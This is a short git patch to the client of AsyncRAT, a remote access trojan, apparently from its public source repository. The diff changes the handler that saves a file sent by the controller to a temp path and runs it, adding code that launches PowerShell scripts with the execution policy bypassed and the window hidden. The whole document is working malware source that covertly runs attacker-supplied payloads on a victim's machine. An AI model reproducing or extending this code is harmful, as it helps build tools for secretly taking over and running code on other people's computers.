From b96daccc0b7c23e72830e259bfa5f2f0722532e8 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Sun, 15 Sep 2019 15:53:00 +0300 Subject: [PATCH] support ps1 files --- AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs index d609884..faff4cb 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs @@ -17,7 +17,10 @@ namespace Client.Handle_Packet //Drop To Disk string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); - Process.Start(fullPath); + if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1")) + Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); + else + Process.Start(fullPath); if (unpack_msgpack.ForcePathObject("Update").AsString == "true") { new HandleUninstall();